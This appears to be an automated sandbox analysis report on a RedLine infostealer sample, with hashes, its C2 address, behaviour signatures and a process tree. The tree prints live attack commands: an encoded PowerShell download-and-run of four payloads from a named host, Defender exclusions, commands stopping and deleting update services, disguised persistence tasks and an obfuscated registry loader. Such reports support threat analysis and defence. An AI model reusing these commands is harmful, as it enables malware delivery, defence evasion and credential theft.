redline | 091369381ef4de4d6caf614b4e307e84e59e422fdaf7d23feb13762c447909b4

Analysis

max time kernel
151s
max time network
146s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
03/02/2023, 19:16

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General

Target

9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
Size

898KB
MD5

59b4067b2e46f3e782f55c124f85c58e
SHA1

9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4
SHA256

091369381ef4de4d6caf614b4e307e84e59e422fdaf7d23feb13762c447909b4
SHA512

88f1850824cab573b07810568f9068bfdda4e949e29139dba3829ecade9ab7c11ea9359e2b78379774a8acbfeea032c6ffba100dec370f7447ec463f939d63d8
SSDEEP

3072:1L1hinzhEGbhWj/hGqHkSwWgEFZqvyXipmS6RIguAg0FujD0Qth7CTEzc:1LezhHE1GqESwBlvyyQ8AOc+tCTAc

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/memory/1004-79-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/1004-85-0x000000000041ADAE-mapping.dmp	family_redline
behavioral1/memory/1004-86-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/1004-89-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 836 created 1208	836	SmartDefRun.exe	13
PID 836 created 1208	836	SmartDefRun.exe	13
PID 836 created 1208	836	SmartDefRun.exe	13
PID 836 created 1208	836	SmartDefRun.exe	13
PID 1500 created 416	1500	powershell.EXE	3

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	848	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 4 IoCs

pid	Process
1640	new2.exe
1880	C4Loader.exe
836	SmartDefRun.exe
1376	SysApp.exe

Loads dropped DLL 9 IoCs

pid	Process
848	powershell.exe
848	powershell.exe
848	powershell.exe
1296	WerFault.exe
1296	WerFault.exe
848	powershell.exe
1296	WerFault.exe
848	powershell.exe
848	powershell.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1264 set thread context of 1648	1264	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	28
PID 1640 set thread context of 1004	1640	new2.exe	35
PID 836 set thread context of 664	836	SmartDefRun.exe	56
PID 1500 set thread context of 836	1500	powershell.EXE	65

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1772	sc.exe
1060	sc.exe
1380	sc.exe
1588	sc.exe
1348	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
1600	1264	WerFault.exe	26
1296	1640	WerFault.exe	32

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1884	schtasks.exe
1784	schtasks.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0f79ebc0c38d901	powershell.EXE

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
848	powershell.exe
848	powershell.exe
848	powershell.exe
848	powershell.exe
848	powershell.exe
848	powershell.exe
848	powershell.exe
848	powershell.exe
848	powershell.exe
1376	SysApp.exe
1376	SysApp.exe
1376	SysApp.exe
1376	SysApp.exe
1376	SysApp.exe
836	SmartDefRun.exe
836	SmartDefRun.exe
1984	powershell.exe
836	SmartDefRun.exe
836	SmartDefRun.exe
836	SmartDefRun.exe
836	SmartDefRun.exe
920	powershell.exe
836	SmartDefRun.exe
836	SmartDefRun.exe
1004	vbc.exe
1500	powershell.EXE
956	powershell.EXE
1500	powershell.EXE
836	dllhost.exe
836	dllhost.exe
836	dllhost.exe
836	dllhost.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	848	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	920	powershell.exe
Token: SeDebugPrivilege	1004	vbc.exe
Token: SeDebugPrivilege	1500	powershell.EXE
Token: SeDebugPrivilege	956	powershell.EXE
Token: SeDebugPrivilege	1500	powershell.EXE
Token: SeDebugPrivilege	836	dllhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1264 wrote to memory of 1648	1264	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	28
PID 1264 wrote to memory of 1648	1264	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	28
PID 1264 wrote to memory of 1648	1264	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	28
PID 1264 wrote to memory of 1648	1264	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	28
PID 1264 wrote to memory of 1648	1264	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	28
PID 1264 wrote to memory of 1648	1264	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	28
PID 1264 wrote to memory of 1600	1264	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	29
PID 1264 wrote to memory of 1600	1264	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	29
PID 1264 wrote to memory of 1600	1264	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	29
PID 1264 wrote to memory of 1600	1264	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	29
PID 1648 wrote to memory of 848	1648	vbc.exe	30
PID 1648 wrote to memory of 848	1648	vbc.exe	30
PID 1648 wrote to memory of 848	1648	vbc.exe	30
PID 1648 wrote to memory of 848	1648	vbc.exe	30
PID 848 wrote to memory of 1640	848	powershell.exe	32
PID 848 wrote to memory of 1640	848	powershell.exe	32
PID 848 wrote to memory of 1640	848	powershell.exe	32
PID 848 wrote to memory of 1640	848	powershell.exe	32
PID 848 wrote to memory of 1880	848	powershell.exe	34
PID 848 wrote to memory of 1880	848	powershell.exe	34
PID 848 wrote to memory of 1880	848	powershell.exe	34
PID 848 wrote to memory of 1880	848	powershell.exe	34
PID 1640 wrote to memory of 1004	1640	new2.exe	35
PID 1640 wrote to memory of 1004	1640	new2.exe	35
PID 1640 wrote to memory of 1004	1640	new2.exe	35
PID 1640 wrote to memory of 1004	1640	new2.exe	35
PID 1640 wrote to memory of 1004	1640	new2.exe	35
PID 1640 wrote to memory of 1004	1640	new2.exe	35
PID 1640 wrote to memory of 1296	1640	new2.exe	36
PID 1640 wrote to memory of 1296	1640	new2.exe	36
PID 1640 wrote to memory of 1296	1640	new2.exe	36
PID 1640 wrote to memory of 1296	1640	new2.exe	36
PID 848 wrote to memory of 836	848	powershell.exe	37
PID 848 wrote to memory of 836	848	powershell.exe	37
PID 848 wrote to memory of 836	848	powershell.exe	37
PID 848 wrote to memory of 836	848	powershell.exe	37
PID 848 wrote to memory of 1376	848	powershell.exe	38
PID 848 wrote to memory of 1376	848	powershell.exe	38
PID 848 wrote to memory of 1376	848	powershell.exe	38
PID 848 wrote to memory of 1376	848	powershell.exe	38
PID 828 wrote to memory of 1060	828	cmd.exe	45
PID 828 wrote to memory of 1060	828	cmd.exe	45
PID 828 wrote to memory of 1060	828	cmd.exe	45
PID 828 wrote to memory of 1380	828	cmd.exe	46
PID 828 wrote to memory of 1380	828	cmd.exe	46
PID 828 wrote to memory of 1380	828	cmd.exe	46
PID 828 wrote to memory of 1588	828	cmd.exe	47
PID 828 wrote to memory of 1588	828	cmd.exe	47
PID 828 wrote to memory of 1588	828	cmd.exe	47
PID 828 wrote to memory of 1348	828	cmd.exe	48
PID 828 wrote to memory of 1348	828	cmd.exe	48
PID 828 wrote to memory of 1348	828	cmd.exe	48
PID 920 wrote to memory of 1884	920	powershell.exe	49
PID 920 wrote to memory of 1884	920	powershell.exe	49
PID 920 wrote to memory of 1884	920	powershell.exe	49
PID 828 wrote to memory of 1772	828	cmd.exe	50
PID 828 wrote to memory of 1772	828	cmd.exe	50
PID 828 wrote to memory of 1772	828	cmd.exe	50
PID 828 wrote to memory of 2004	828	cmd.exe	51
PID 828 wrote to memory of 2004	828	cmd.exe	51
PID 828 wrote to memory of 2004	828	cmd.exe	51
PID 828 wrote to memory of 1324	828	cmd.exe	52
PID 828 wrote to memory of 1324	828	cmd.exe	52
PID 828 wrote to memory of 1324	828	cmd.exe	52

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:416
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{a95989fa-b0ea-4f62-9dc9-9236ea1d21ac}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:836

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1208
- C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
  "C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1264
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1648
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:848
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1640
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1004
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1640 -s 48
        6⤵
        Loads dropped DLL
        Program crash
        
        PID:1296
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:1880
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:836
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1376
      - C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:1784
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1264 -s 48
    3⤵
    - Program crash
    PID:1600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:920
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1884
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:828
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1060
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1380
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1588
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1348
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1772
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2004
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1324
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:772
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:840
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:316
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:664

C:\Windows\system32\taskeng.exe
taskeng.exe {D0C48A4E-31B0-4763-B32A-3C06C7BA3F83} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:972
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+'d'+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+[Char](82)+'E').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+'s'+[Char](116)+''+'a'+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
455KB

MD5
ee0ad7cc2a5976a5c658da52092977a9

SHA1
c69b99d42a9f9886af74e6a75fd905a5d17d4792

SHA256
f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

SHA512
